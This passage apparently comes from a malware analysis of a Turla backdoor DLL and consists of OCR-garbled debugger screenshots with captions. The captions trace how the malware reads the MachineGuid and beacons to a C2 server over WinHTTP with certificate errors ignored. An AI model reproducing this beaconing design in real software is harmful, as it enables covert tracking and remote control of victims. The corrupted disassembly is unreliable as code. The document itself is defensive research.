. Text:00007FF8A73B2687 turla.d11:32687 #1A87

0000000000000022
5] 53CF3FF733 | DDODD0DS3CF3FF7AD
00000082CFIFFT40 | 0000008200000022
00000083CF3FF7 48| 000000D000000000
0| 0000027A727747B0

3FF758 3FF780

doumpl  Eypump?  WYoump3  E4pump4  @oumps @ wattht el P stuct

Address | Hex | AscIT
0000027A727747B0 [0, 00 00 00[00 00 00 00[00 00 00 00[00 00 00 00| We....
747C0 0 00 00 00 00 00 00 00 00 00 00 :

~

Figure 9

The malware passes the C2 IPs and port numbers to the CommandLineToArgvW routine and extracts an array of

pointers to them (the C2 server is randomly chosen for testing purposes):

0D007FFBA 48 83 EC 38 sub rsp,3s
iz S St Rax  oooooooooaoooon
|| o0007FFa8A; 4D 8B FO mov ris4,rs 0 i
o | ity L e S e e ST RCX  0000027A72774780 L"90.90.90.90 9050°
S [l FF 15 CF 03 00 00  |call gword ptr ds:[<aCommandLineToargvis] [CHho ot

Figure 10

We’ve emulated network connections using FakeNet.
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The malicious process opens the “SOFTWARE\Microsoft\Cryptography” registry key using RegOpenKeyExW
(0x80000002 = HKEY_LOCAL_MACHINE, 0x20019 = KEY_READ):

o | 00007FFaAT 382533 45 33 CO xor réd,rs
o | 00007FF8A73B2586 48 8B 4C 24 38 mov rcx qword ptr ss:Brsp+3sll zg ggggggggggig:g
o | 00007FFaA73E2538 43 3B D3 mov rdx, rbx i Ermeeninbe
® | 00007FF8A7 3825 8E 48 89 44 24 20 mov_gword ptr ss:[frsp+zofl,rax e g
. 8a FF 15 77 0A 00 00 €am qword ptr ds: [<&8RegQueryvalueExws] RDX  ODOO7FFS8A7T3B3230 L"SOFTWARE\\Microsofth\CI
. " 85 Co Tast eax,eax RBP  DODOO0DOB3CF3FF7CO
. L\(JGU'FFSA'BBZEQE ~ 74 1D je furla.7FFBA73B25RBA BSE  DO00D0083CF3FF730
» | 0007 FFa 48 8D 4C 24 70 lea rcx,gword ptr ss:[frsp+7of RSI  0000000000AS03BC
. £8 A9 ED FF FF €all turla.7FFSA73B1350 RDI  O0007FFSAT3E3218 L"MachineGui
™ 48 8B 4C 24 38 mov_rcx,qword ptr ss:frsp+3sl
. ;; gg 76 DA 00 00 €all qword ptr ds: [<&RegClosekeys] RS 0000000000000000
) ORIER, Ea R9 0000000000020019
2 [DapozEER gg 83 C4 50 add ";prm R10  0000027A72774250
o [t " - R11  OOOODOS3CF3FFEBO
o[ 0o007FF8A73E 48 8B 44 24 40 mov rax,qword pTr RS DD 7 2172 £ 650 3, L turla.d1l
| 0oo07FF3A: 88 08 mov ecx,dword ptr RT3 B ComnTnnne i
. 38 8B 44 24 70 mov rax.quord pt,. < R14  D0D0O7FFSA73B0000 turla.00007FF8A73B0000
. 89 08 muv dwar‘d ptr‘ [r’ax] ecx R15 FFFFFFFFFFFFFFFF
. 48 8D 4C 24 40 rox, ss:flirsp+4oll
. E8 7E ED FF FF un turla, 7FE8A7381350 RIP  O0D007FFSAT3B2624 turla.00007FFBAT3B2624
. 45 BB 4C 24 38 v _rcx,qword ptr ss:[irsp+3sll
. ;g gi gg gg gg 00 call awu[d ptr ds:[<&RegClosekey>] RFLAGS  0000000000000Z46
= ROV BX ZF 1 PF1 AF O
. 48 83 C4 50 add rsp,50 OF 0 SEO DEO
. - |22 EhE CFo TFo IF1
ps EE ::S LastError 00000000 (ERROR_SUCCESS)
4 e inta LastStatus 00000000 (STATUS_SUCCESS)
. cc int3
. cc int3 G5 002B FS 0053
. cc int3 ES 002B D3 0028
. cc int3 €S 0033 g5 0028
. cc int3
. 48 89 5C 24 08 mov gword ptr ss:[@rsp+slll,rbx X87r0 00000000000000000000 STO EMPTyY 0.0000000000001
) 3; o s Wg"' "d‘m X*87r1 00000000000000000000 ST1 Empty 0.000000000000
. o aaih ;:v :;:" dx Xx87r2 00000000000000000000 ST2 Empty 0.0000000000001
- 45 €7 00 00 00 00 00|mov qword ptr ds:[r&l,o X87r3 00000000000000000000 ST3 Empty 0.0000000000001
) N re DT mov rox,rex ' x87r4 00000000000000000000 ST4 Empty 0.0000000000001
. 48 8D 44 24 58 Tea rax,qword ptr ss:[frsp+cs] x87r5 00000000000000000000 STS Empty 0.000000000000!
. 49 8B D8 mov rbx,rs X87r6 00000000000000000000 STE EmpTy 0.000000000000!
. 48 89 44 24 20 mov gword ptr ss:[rsp+2of,rax X87r7 00000000000000000000 ST7 Empty 0.000000000000!
. 48 C7 C1 02 00 00 80|mov rcx,FFFFFFFFS0000002
. 41 B9 19 00 02 00 mov rad,20019 x87Tagword FFFF
: e AT e s
RIP g 1 FF 15 D& 09 00 00 1 gword ptr ds:[<&RegOpenKeyExw:>] W | ——————
. ] T TI T = | Default (xa4 fastcall)
e - 1: rcx FFFFFFFFB0000002
aqword ptr [DOD0D7FFSAT3B3000 <turla.&RegOpenkeyExw>]=<advapi32.RegOpenkeyExw= rdx 00007FF8A73B3230 L"SOFTWARE\\Microsofti\\Crypt
r& 0000000000000000
r9 0000000000020019
. Text:00007FFEA73B2624 Turla.d11:$2624 #1A24
g 0D0D0083CFEFF7CO
Woump1l | @Hoump2  @Ypump3  WHDump4  §WDump5 @B Watchi  [-llocals g Stuct SR U R
Address Hex ASCIT A
00007FFBA73B3230|53| 00 4F 00|46 OO 54 00|57 00 41 00|52 00 45 00|S.0.F.T.W.A.R.E.
00007FF8A73B3240|5C 00 4D 00(69 0D 63 00|72 00 G6F 00|73 00 6F 00|\.M.i.cC.r.0.s.0. TR
00007FF8A73B3250| 66 00 74 00(5C 00 43 00|72 00 79 00|70 00 74 00|f.t.\.C.r.y.p.t. L | it
00007FF8A73B3260| 6F DO 67 00|72 0D 61 00|70 00 €8 00|79 00 00 00|o.g.r.a.p.h.y AnRNNNR2EE2EE 768 PANNZ EERA7IR2GNE | Farirn ta Tirla nonN7EERs

Figure 11

The “MachineGuid” value is extracted via a function call to RegQueryValueExW:

» | 00007 FFaA73EZ5ES 5B RAX  00D0D027A72782660
. = REX  000D00S3CF3FF7BO
= cc RCX  00000000000001B0 ut
4 oc RDX  0O0DO7FF8A7T3B3218 L"MachineGui
. cc REP  0D0DODO0S3CF3FF7CO
. cc RSP 00DDODS3CF3FF730
. cc RSI  00D00000D0ASO3EC
. < RDI  00DO7FF8AT3B3218 L"MachineGuid"”
. cc
. 48 89 5C 24 08 mov qword ptr ss:[ rsp+sll,rox RS 0000000000000000
. 57 push rdi RY 0000000000000000
. :g g; Eg 1l ;ge I':zpﬂg R10  0000000000000000
[ 00007 FFBA73B2! 45 C7 00 00 00 00 00|mov gword ptr ds:[rs],o e s " "
o | oo007eEsa7 B ae D1 pasisl it R1Z  00D0D027A72768D90 L"turla.d11
. 48 8D 44 24 58 Tea rax,qword ptr ss:[rsp+sal [E) itosiedddssinitan
. 49 88 D8 mov rbx.rs R14  00DO7FFS8A73B0000 turla. 00007 FF8A73B0000
. 48 B9 44 24 20 mov qword ptr ssilrsp+2ofl,rax R1S  FFFFFFFFFFFFFFFF
. 48 C7 €1 02 00 00 80|mov ?cx,rrngrrrsEnngnnza'
. 41 B9 19 00 02 00 mov rod,200139 RIP  0ODO7FFSAT3B2687 turla. 00007 FF8AT382687
. 45 33 CO xor r&d,
. FF 15 D& 09 00 00 €& gword ptr ds:[<&RegOpenkeyExXws] RFLAGS 00000000000002 46
L] 85 CO :_est ea#,eax ZF 1 PF1 AF O
- . ~ 75 76 jne turla.7FF8A73B26A4
. 43 BB 4C 24 58 mov rcx,qword ptr s 2:: g .ls.:: g [I’:: 2
. 48 8D 44 24 50 lea rax,qword ptr ss:ffrs
: R e e
. 45 33 CO xor rsd,rsd —
. 48 C7 44 24 20 00 00| mov qwor‘d ptr ssifirsp+20l,0
. 48 88 D7 mov_rdx,rdi G5 0028 F5 0053
. FF 15 BB 09 00 00 call qwar‘d ptr ds:[<&RegQueryvalueExw>] ES 002B QS 0028
. 85 CO test eax,eax Cs 0033 g5 0028
. ~ 75 40 jne turla.7FFBA73B2699
* 8B 4C 24 50 mov_ecx,dword ptr ss:firsp+sof Xx87r0 00000000000000000000 STO Empty 0O.000000000000
> i e sg gs 55 FF FF ;gz"' ;grﬁ;ﬂ-zlngf??Eﬁ]mrax X87r1 00000000000000000000 STL Empty 0.000000000000
% nnnn?::s: & %3 2o oo T e ' x87r2 00000000000000000000 ST2 Empty 0.000000000000
| | R e e turial 7Preaziszess x87r3 00000000000000000000 ST3 Empty O.000000000000
s 43 8D 4C 24 50 lea rex,quord ptr ss:lrsp+soll x87r4 00000000000000000000 ST4 Empty O.000000000000
4 45 33 €9 xor rod.rad x87r5 00000000000000000000 STS Empty O.000000000000
. 48 89 4C 24 28 mov qword ptr ss:[rsp+zsl,rox x87r6 00000000000000000000 ST Empty 0.000000000000
. 45 33 CO xor rad,rad 2 x87r7 00000000000000000000 ST7 Empty 0.000000000000
. 48 8B 4C 24 58 mov rcx,qword ptr ss:frsp+ss]
. 43 BB D7 mov rdx,rdi x87Tagword FFFF
. 48 89 44 24 20 mov_gword ptr ss:[rsp+20],ra
FF 15 83 09 00 00 m‘ﬁt gword ptr ds: [qmegqueryva'luenm] v
. ST = Default (x&64 fastcall)
= 1: rcx 0D00000DO000DODIB0
qword ptr [DODO7FFS8AT3IE3010 <turla.&RegqueryvalueExw»]=<advapi3z.RegoueryvalueExw: 2: rdx ODDOFFFBATZB3218 L"MachineGuid
: r8 0000000000000000
r3 0000000000000000
. text:00007FFBAT3B2687 turla.d11:$2687 #1A87

000000000000004A
00000083CF3FF7BOD
000000000000004A
0000000000000000
0000027A727 82660
3IFF780

P

Woump1  @Ypump2  @4pump3  @hoump4  WHDump5 @ watcht  x-llocals 4 Stuct
Address | Hex | asc11
0000027A72782660 |00 00 00 00|00 OO 0O 00|00 OO0 00O 00|00 00 0O 00
0000027A72782670| 00 00 00 00|00 0O OO GD DD GD DD 00|00 00 00 00

38
UUUODOSSCF:FF 40
00000083CF3F
DODO00S3CF3FF750
IFF758

Figure 12

WinHttpOpen is utilized to initialize the use of WinHTTP functions:
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. gggg;ggg:\ 2 S: i ;ﬁm T RAX  0000D27A72779B30 &L"SYSTEM\\CurrentContro
o | 00007EFaA7IRIEZE 00 00 add byte ptr ds:[rax],al B R O0DDAE LG 000 oot yime)
. i = EE Bita b RCX  0DDDO7FF8A73B3140 turla. 00D07FFEA7383140
- 17 RDX  0000000000000000
. 20 00 add byte per ds:[rax],al REP  000DD0S3CF3FFS40
. 3A 17 mov dl,byte ptr‘ ds: [rdi] RSP 00DDODS3CF3FF7ED
. 00 00 add byte ptr RSI  0000027A72779B30 &L"SYSTEM\\CurrentContro
. 10 18 adc byte ptr d RDI  0000000000000000
. 00 00 add byte ptr ds:
. F7 18 neg dword ptr ds RS 0000000000000000
. 00 00 add byte ptr ds:[rax],al RY 0000000000000000
. 32 19 xor bl,byte ptr ds:[rex] R10  00000D00000000000
. 00 00 add byte ptr ds:[rax],al R11 000D0083CF3FFT00
. co 19 00 rcr byte ptr ds:[rex],0 & B ot e Lrturla.dilt
. 00 B2 1A 00 DO 41 add byte ptr ds:[rdx+41000014],dh urla.
. 1B 00 sbb eax,dword ptr ds: [rax] T R OUD O AU M
. o0 Do add al R14  00007FF8A7380000 turla. 00007 FF8A7380000
. 1B 00 shh =ax,dword ptr d ax] RIS 0000000000000000
. 00 91 1€ 00 00 CC add byte ptr ds:[rex- arrrrs-q,
. <c int3 RIP  00DO7FFSATIB1EAZ turla. 00007 FF8AT3B1EAZ
. cc ints
. cC int3 RFLAGS 0000000000000246
. (de L ZF 1 PF1 AF 0
Y EE ‘,"'g OF 0 SF 0 DF 0
- 52 i CFO0 TFO IF1
. eyt gﬁzn EE: LastError 00000000 (ERROR_SUCCESS)
. 56 push rsi LastStatus 00000000 (STATUS_SUCCESS)
. 57 push rdi
. 41 54 push riz GS 0028 FS 0053
. 41 55 push riz ES 002B [Q§ 0028
. 41 56 push ris €5 0033 35 0028
. 48 88 EC mov rbp,rsp
. 7 3 48 83 EC 60 sub_rsp, &0 Xx87r0 00000000000000000000 STO Empty 0.000000000000
- gggg.’;;ff}J Eg 3; gg 00 0o €all turla.7FF8A73B27B0 x87r1 00000000000000000000 ST1 Empty 0.000000000000
. Aty e a=ch 'gg‘;t"f‘a;"fgx X87r2 00000000000000000000 ST2 Empty 0.000000000000
= e e turla.7FF8a73821CD X87r3 00000000000000000000 ST3 EMPTY 0.000000000000
. 4C 89 BC 24 AD 00 00| Mov gword ptr ss:frspraoll,r X87F4 00000000000000000000 ST4 EMPTY 0.000000000000
. 48 8D 0D AE 12 00 00|lea rox,quord pTr ds [7FF5A7353140] x87r5 00000000000000000000 STS Empty 0.000000000000
. 45 33 FF xor risd,risd X87r6 00000000000000000000 ST6 EMpty 0.000000000000
. 45 33 €9 xor rod,rad x87r7 00000000000000000000 ST7 Empty O.000000000000
. 45 33 CO xor r8d,rad
. 7 43 89 7C 24 20 mov dword ptr ss:@rsp+zoll,risd x87Tagword FFFF
o oooo7FEsA73E1EAD 33 D2 xor_edx, edx
B FF 15 70 12 00 00 call gword ptr ds:[<&winHttpOpen:]
. oottt o T eme e - 5 Default (x64 fastcall)
- = - 1: rcx OO0D7FFBA73B3140 turla.D0007FFBA73B3140
aword ptr [00D07FFBA73B3118 <turla.é&winHttpOpens]=<winnttp.WinHttpopens 2t rdx D0OOOODOOOOOOOOOD
3: rg 0000000000000000
. TEXT:00007FF8A73B1EAZ Turla.d11:$1EAZ #12a2 w

00007 FF618D50000 | rund1132. 00007 FF618D50000

00000083CF3F

Wooump1 gy Dump 2 Wipump3  @oump4  @pumps @ watch1  [x=lLocals 2 struct
Address | ascT1 |
DODD?FF&A?333140 oo 00 00 00|00 0O 00 00|47 DD 45 00|54 00 DD DD|M-...... GET..|
ARARTECOA73031cAltA AA AE AnlE2 AR £4 AnlAn AR an anlan Anoan Anle A E T

Figure 13

The file initializes a connection

| oooo7FFa, 44 89 7D
| 00007FF 4C 89 7D
| 00007FF8AT 44 89 7D
| 00007FF OF 1F 84
| 00007FF 8B 4E 24
| 0DOO7FF8A; 45 33 C9
| 0D007FF3A 43 8B 46
| 0D007FFaA 43 03 Ca
| 0DO07FF8A; OF 10 04
| 00007FF 49 8B CA
| 00007FF 66 44 OF
| 0D007FF8A; 66 48 OF
F.IP e 1 FF 15 DB

Figure 14

The WinHttpOpenRequest function
WINHTTP_FLAG_SECURE):

5C
74

0DD00083CF3FF
00000083CF3F

00007 FF200010000
00007 FF800005000
0000027A00000001

3FFS00

to the C2 server by calling the WinHttpConnect API:

&L"90.50.90. 90"
L "W64Time"

L*90.90.90.90"

&L"SYSTEM\\CurrentContro’

L"WE4Time"

L"GET"

L"90.90.90.90"
L"90.90.50.90"

L"nad3e319-280c-4T11-94d.

turla.00007FFBAT3B2222

SUCCESS)

STD
ST1
5T2
5T3
ST4
STS
ST6
5T7

Empty
Empty
Empty
Empty
Empty
Empty
Empty
Empty

0.0000000000001
0. 000000000000
0. 000000000000
0. 000000000000
0.0000000000001
0.0000000000001
0.0000000000001
0. 000000000000

48 mov dword ptr ss:firbp+4slrisd
Fo mov gword ptr ss:frbp-10])ris e b
50 mov dword ptr Erbp+sof,risd RCX  0DODOO27ATZTTIIE0
00 00 00 00|nop dword ptr [rax+rax e il
mov ecx,dword ptr ds:[rsitz4] RDX  0000027A72779C38
xor rod,rad REP  D00ODDS3CF3FFS40
18 mov rax,gword ptr ds:[rsi+1s] RSE  0OODODS3CF3FF7ED
add rcx,rex RSI  0000027A72779B30
c8 movups Xmmo,xmmword ptr ds:[rax+rcx©s] RDI 0000000000000000
mov rcx,rio
€5 CO 04 pextrw rgd,xmmo, 4 RE 000000000000235A
7E C2 movg rebx, xmmo RS9 0000000000000000
11 00 00 call mrd ptr ds:[<&winHttpConnect>] B1n ARAANSTATSTTIIEA
is used to create a GET request handle (0x800000 =
FE emp rcx,FFEFFEFFEFFFFFEF
TP Trraaraaeioe e
0E 00 00 [€all qword ptr ds: [<&CloseHandlex] e e
10 FF FF FF|mov gward ptr ds: [rhx+10],FEFFFFFEFFFFRFEF
oy SXTadra par it e e
xor edx,edx
F8 mov r’LD:quF‘d ptr ss:[rbp-sjj B3P 00000083CF3FF710
inc eax RSI ~ DO0ODDS3CF3FFE88
div dword ptr ds:[r5f+zn] RDI  0000000000000000
30 mav dword ptr ds:[rsi+30],risd
v dword ptr ds:[rsi-z4],edx RS 0000000000000000
Test edx, edx R3  0000D0O00DOODO0D
EDSECIER - ggzlngisagﬁgém?rsi . R10  DOOODOS3CF3FEDSO
OE 00 00 &M qword ptr ds: [<&sleep>] Ei; gggggggg;g;;gggg
F8 mov rio,qword ptr ss:|[rbp-sf
FF FF jmp turla.7FFaa7381ED0 R13 R DONUNE 7473 7 #RINL)
24 AD ris,qwerd ptr ss:lBrsprao R14  O0O0OOS3CF3FF828
&0 rsp,60 RIS  D0000D27A72782660
ri4
ris RIP  DO0O7FFBA73B2222
riz
rdi RFLAGS  0000000000000246
LS ZF 1 FF 1 AF O
s OF 0 SF O DF O
Lid CFO TFO IF1
LastError 00000000 (ERROR_:
Laststatus 00000000 (STATUS_SUCCESS)
24 18 mov qword ptr GS 002B FS 0053
24 20 mov gword ptr ES 0028 DS 002E
push riz €S 0033 S5 00ZB
push ril4
push ris *87r0 00000000000000000000
BOSUOEREE ig? :fgéﬂﬁizd X87r1 00000000000000000000
:
30 00 00 80|mov dword ptr ss:[rsp+30, 800000 :g;:; gggggggggggggggggggg
24 28 ik ;:!»:LEthr ss:Brsp-zall,r1z X87r4 00000000000000000000
mov ri4,rs X875 00000000000000000000
24 20 mov gword ptr ss:[Brsp+2olll,r12 X87r6 00000000000000000000
mov ris,rdx X87r7 00000000000000000000
xor rad,rad
xor rad,rsd x87Tagword FFFF
26 OF 00 00(lea rdx,gword ptr‘ ds: [TFF8AT3B3148)
0E 00 €all ‘aword BEF GSE[<&inHttpoperR equest>]

vl
| Default (x64 fastcall)

gword ptr [DOOD7FFBA73B30FS

. TexT:D0007FFBA73B2222 turla.d11:$2222 #1622

<turla.&winHttpOpenRequest>]=<winhttp.WinHttpOperRequests>

Wuoumpi  @ypump2  WMpDump3 4 Dump 4

B4 Dump 5

@ watch 1

=] Locals

Address Hex

0000027A7277 9C38
0000027A72779C48
0000027A72779C58

39
2E 00
00 00

00 30
39
00

)
00
oo

2E
30
00

00
00

an]
00
00

00
00
00

30
39
00

00
00

ZE
30
00

00
00
00

39
35
00

00
00

30
30
00

00

D0000052C S
D00DDD83CFFF7
00000083CF3FF72

rcx D0000Z7A727BEDDO

rg 0000000000000000
r9 0000000000000000

0000000000000000
0000000000000000
0000000000000000
0000000000000000
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rdx 0DD07FF8A73B3148 L"GET"
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Figure 15

The process adds an HTTP request header called “Title” containing the Machine GUID to the HTTP request
handle (0x20000000 = HTTP_ADDREQ_FLAG_ADD):

00007 FF
00007 FF8A73B2

0000FEFaA7 282
00007 FFBAT3B2

.
.
.
o | ooo07FFBA73B2

Figure 16

4
Fo
04

42

00
FF

24
FF
00

23

00
50

50
FF

00 00

00
48

EE]

00

mov rad, 2000000
mov gword ptr ss:
or r8d,FFFFFFFF
mov rdx rdi

MoV _rcx,rbx

call Gword pEr dsi[<awinHt tpaddRequestHeaders
test eax,eax

je turla.7FF8AT3B225F

lea rcx,gqword ptr ss:[irsp+sof

€all turla.7FFBA73B13E0
mov rad,4

mov dword ptr Ersp+4&], 3300
lea rs,gword ptr ss:firs £ |

Brsp+sof,rdi

The security flags for the handle are set using WinHttpSetOption (0x1F =
WINHTTP_OPTION_SECURITY_FLAGS, 0x3300 = WinHttpRequestOption_SslErrorIgnoreFlags):

ODOO7FFS
00007FFSA;

00007 FFS-‘\
00007FFS
00007 FF8A

Figure 17

00
48
24

FE
24

00
o0
48

oo

FE

30

28

00
33

o0

mov rod,4

mov dword ptr ss:[frsp-4sl,3300

lea rs,qword ptr ss:firs £l |

mov rcx,rbx

Tea edx,qgword ptr ds: [r9+1B]

call qword ptr d [<&w1nHEtpSEEOpt1url>]

mov rcx,rbx

test eax,eax

je turla.7FFBATIB2262

mov gword ptr ss:ffrsp+3of,riz
xor rod,rad

mov dword ptr
xor rad,red

Ersp+2sll,rizd

RAX  000000000000004A i

REX  0000027A7278BF60

RCX 000002Z7AT27 BBF &0

RDX  DDO0027A72765730 L"Title: 0ad3e319-z80c-41
REP  0D0000D00DDD0004A A

RSP  DDOODD83CF3FF710 &L"Dad3e319-280c-4T11-94(
RSI  0DODDOS3CF3FFB83

RDI  0000027AT2765790 L"Title: Dad3e319-280c-41
RE 0Q0000000FFFFFFFF

RI 0000000020000000

The malicious file sends the request to the C2 server using the WinHttpSendRequest routine:

H 00007FF

BA73B225A

00007FFBAT

0000
00007FF8A73B227,

O0007FFBA73B2

.
o | D0007FFBA73BE2
|| ODDO7FFBA73B2
. 07FF8A7382
0Q0007FFBAT3B2
o| 00007FFaA7382
® | DDDO7FFBA73B2
® | DDOOFFFBATIBZ
® | DDDO7FF8A7
|| ODDO7FFBA73B2

00007F!
00007FFBAT.

7FFBAT3822D
UUUU’FFS;"BJ

BA73B2

DO007FF B2
O0007FFBAT3B2

64
80

00
8F

FF
24

24

00
Do

D8
B0

00
0E

£

FF
50

oo

FE
30

20

00 00

00

00
00
00

00
00

00
33

00
00
0o

00

o

S

mov gqword ptr
mov_rcx,rbx
€&l gqword ptr ds
Xor eax,eax

mov rbp,qword ptr
mov rdi,qword ptr
Tea ru,qward ptr
rbx,gword ptr
rsi,qword ptr
rsp,rii

ris

ris

riz

s:frsp+soff,riz

i [<&winHttpCloseHandle>]

:[frsp+00f
[FSP-DD]
rsp+80]

E
d

i nn

rad,E

rdx,qword ptr ds
mov_rcx,rdi

€all turla.7FFBA73B1390

Tea rcx,qword ptr ds:[rdi+E]
mov r8d,ebp

mov_rdx,ris

€al1 turla.7FF8A73B1390

mov rad,20000000
mov gword ptr ss@
or r8d,FFFFFFFF
mov rdx,rdi
mov_rcx,rb;

call qwnrd ptr ds
test eax,eax

je tur]a.?FFaABBZst

lea rcx,gword ptr ss:|[ rsp+50l
€3l turla.7FF8A73B1350

: [7FF8A73B3130]

Ersp+sof,rdi

: [<&WinHttpAddR equestHeaders

mov rad,4

mov dword ptr ss:firsp+ 300
lea r8,gword ptr ss:|frs ]
mov rcx,r

lea edx,qword ptr ds:[r9+1B

1
€Nl qword ptr ds:[<&WinHttpSetOptions]
mov rcx,rbx
test eax,eax

je turla.7FF8A73B2262

mov gword ptr ss:iffirsp+3o0f,riz
xor rad,rad
mov dword ptr ss:ffrsp+zsl,rizd
xor r8d,rsd
l(Dl" edx, edx

oV dword ptr ss:firsp+zoff,rizd

nﬂ11 “aword ptr ds: [<awinHttpsendRequest>]

RAX 00000083CF3FF760

REX  0000027A7278BFG0

RCX  0DD00D27AT278BFG0

RDX  00000000000000LF

REP  00000D00000000D4A va )
RSP  0000DDS3CF3FF710

RSI  0000D0DS3CF3FF888

RDI  00000DZ7A72Z765790

RE 00000083CF3FFTSE

R2 0000000000000004

RAX  0000000000000001

RBX  00DD027A7278BF6D

RCX  0DOOD27TA7278BF60

RDX  0000000000000000

REP 000000000000004A o
ESE  0ODDODS3CF3FF710

RSI  0ODDODS3CF3FF88S

RDI  ODOOD2TA72765790

RE 0000000000000000

R9 0000000000000000

R10  000000D0000000000

R11  0ODOODDB3CF3FFSFS

R1Z  0000000000000000

R1z 0000027A7278BDDO

R14  00DDDDS3CF3FF828

R15  00DD0D27A72782660 L"0ad3e319-280c-4T11-94d
RIP  O0DDO7FFBAT3B2323 turla.00007FFBAT3B2323
RFLAGS 0000000000000246

2B PR EARED
OF 0 SF O DF O
CE.0 TF 0 IF 1

LastError 00000000 (ERROR_SWCCESS)
LastStatus 00000000 (STATUS_SUCCESS)

G5 0028 FS 0053
ES 0028 QS 0028
€5 0033 35 002B

XB7rO
XB7r1
XB7r2
XB7r3
XB7r4
X875
XB7rE
XB7r7

00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000

sTO
STL
sT2
5T3
ST4
ST5
ST6
sT7

Empty
Empty
Empty
Empty
Empty
Empty
Empty
Empty

0.000000000000
0. 000000000000
0. 000000000000
0. 000000000000
0.000000000000
0.000000000000
0.000000000000
0. 000000000000

x87Tagword FFFF

== £5=

v
| Default (x64 fasteal)

+ [5_2] 0] uniock

Figure 18

- - - 1: rox 00DD027A727BEFE0
uord ptr [0DODTFFBAT3B30D8 <turla.&WinHLtpSendRequests]=-winhtip.winHttpsendRequests ST T
3: r8 0000000000000000
3l rs 00DODOOOODOODODD
. TexT:00007FF8A7382323 turla.dl1:$2323 #1723 2 =
" 5 = 5 5 = @ 00000083CF3FF760
WWoump 1 | glioump2  Woump3  WWDumps  EWoumps @ watchi  Iellocal Y Struct 0000ESCAI eI | DPO0027A7273266D | L"Dad2e319-280c—4F11-94d4
TR e it 00000083CF2FF720| 0D00D000O0DOD0AA
0DDDDOB3CFIFF758 (DO 33 OO 00]0D 0D DO OO|OO 0O DO OD|00 OO 00 0D * | 2000008 3cE 372722 | 0000000000000000
3FF730
00D00D083CF3FF768| 0D 00 00 00(00 0O DO 00|00 00 00 00(00 0O 0O 0O ikl
00000083CF3FF778| 00 0D 0D 00|00 00 0O 00|00 00 00 00|52 FF 00 0 ]

WinHttpReceiveResponse is used to receive the response to the GET request initiated above:

00007 FF“*

Figure 19

Dz

88
co
84
3z cn

CB

E4 0D 0O 00

1B FF FF FF

xor edx,edx

call qword PEF 51 [<&WinHEEpReceiveResponse>]
mov rcx,rb:

test eax, eax

je turlal7Frea73Bzzez

xor rad.rad
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RAX 0000000000000001
REX  0000027A7278BF60
RCX  0DO0027A7278BF60
FDX  0000000000000000
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The binary obtains header information associated with the request by calling the WinHttpQueryHeaders API
(0x26 = WINHTTP_QUERY_TITLE):

. mov_rcx,rdi
- i BBl Sutia. 7eean7ze1200 RAX  00000083CF3FFTS4
. A ;‘;‘3 :gé'gﬂg"d [ BT ) REX  0000027A7278BFED
' gt
. wov Fax ik RDX  0000000000000026 KN
. FF FF call turla. ?FF3A7351390 EBE ggggggggggggg?:s 2
[ 00 00 20 mov rad, 200000 BSP
4 . 24 50 mov qwurd ptr ss:[rfp sof, rdi RSI 00000083CF3FF888
I FF or rad,FFEFFFFF RDI  D0000D27A72765790
| . mov rdx,rdi
. mav_rcx,rbx : RS 0000000000000000
[ 0E 00 00 €all gqword ptr ds: [<&WinHttpAddRequestHeaders RS DO0DODB3CF3FFT70
i test eax,eax
i-—--#| DDDO7FFBA 21 7 je turla.7FF8A73B225F ii‘i gggggggﬁ;é;ggiz L
#( D0007FFBA; 24 50 lea rcx,gword ptr ss:[rsp+sof R12 0000000000000000
. FF FF €all turla.7FFSA73B1350 555 hoon0s a7 aho0D
. 00 00 00 mov rod, 4
. 48 00 33 00|mov dword ptr ss:lfrsp+4sl,3300 R14  DOOOODDE3CFIFFS28 -
. 24 48 lea r8,qword ptr ss:[rspr45] R15  D000D27A72782660 L"Dad3e319-280c-4F11-94d
. mov rcx,rbx
. 1B lea edx,qword ptr ds:[r9+18] RIP  DO0O7FFBAT3B236A turla.00007FFBAT3B236A
. oD 00 00 €all qword ptr ds: [<&WinHttpsetoption>]
. mav_rcx,rbx RFLAGS  0000000000000246
. FF FF FF ;:sgure-?:'ig:aﬁ\nszzsz U
- TR | e e e OF0 sFo DEO
. xor rad,rsd
o 23 28 ':g‘,f S:grgagtr s&:Wrspv2ol). r12d LastError 00000000 (ERROR_SUCCESS)
. xor edx,edx LastStatus COD00D7C (STATUS_NO_TOKEN)
. 24 20 mov _dword ptr ss:firsp+20f,ri2d
[ 00007FF8A op 00 00 €all gqword ptr ds:[<&WinHttpSendRequests] GS 002B  FS 0053
. mov rcx,rbx ES 002B DS 002B
. & €S 0033 55 002B

ax
FFEAT3B2262

FF FF FF

: e o an z:;]ﬂ‘:mﬁ‘g tr ds: [EEEEEEEETEITEEEROEEES) X87r0 00000000000000000000 STO Empty 0.000000000000

e mov r?x I’b)(p B X87r1 00000000000000000000 ST1 EmpTy 0.000000000000

. test eax eax X87r2 00000000000000000000 ST2 EmPTyY 0.000000000000
FF FF FF je turl £ EF8A73B2262 x87r3 00000000000000000000 5T3 Empty 0.000000000000

. xor rad,rad x87r4 00000000000000000000 5T4 Empty 0.000000000000

. 24 28 mov gword ptr ss:[rsp+2sl,riz X87r5 00000000000000000000 STS Empty 0.000000000000

. 24 44 lea rax,qword ptr ss:[ rsp+4s) X87re 00000000000000000000 STE EmpTy 0.000000000000

. 44 28 00 00(mov dword ptr ss:|ffrsp+44],23 X87r7 00000000000000000000 ST7 EmpTy 0.000000000000

. 24 60 lea r9,qword ptr ss:[frsp+c0l

. 24 20 mov gword ptr ss:firsp+zofl,rax x87Tagword FFFF

# | oooo7FEsA 26 lea edx,gword ptr ds:[r&+26] , . =

» & H oD 00 00 aword ptr ds:[<&winHttpQueryHeaders>] =

. Default (x64 fasteall) +|[5 ] unlode

1t rcx 0000027A7 27 8BF60
rdx 0000000000000026
rs 0000000000000000
r9 00000083CF3FF770

qword ptr [DDDO7FFBAT3B3108 <turla.&winHttpQueryHeaders>]=<winhttp.WinHttpQueryHeaders>

.text:00007FFBAT3EZ36A turla.d11:$236A #176A

L"0ad3e319-280c-4T11-94d4

Woump1  @yoump2  @Hoump3  @Woump4  @houmps @ wathi  bellecas P struct
|

Address | Hex |A9:II
0D000083CF3FF770 |00 00 00 00|00 00 00 00|00 00 0D 00|00 00 00 00
0D000083CF3FF780| 00 00 00 00|52 FF 00 00(BO 01 00 00|00 00 00 0O

Figure 20

WinHttpQueryDataAvailable is utilized to extract the amount of data, in bytes, available to be read with
WinHttpReadData:

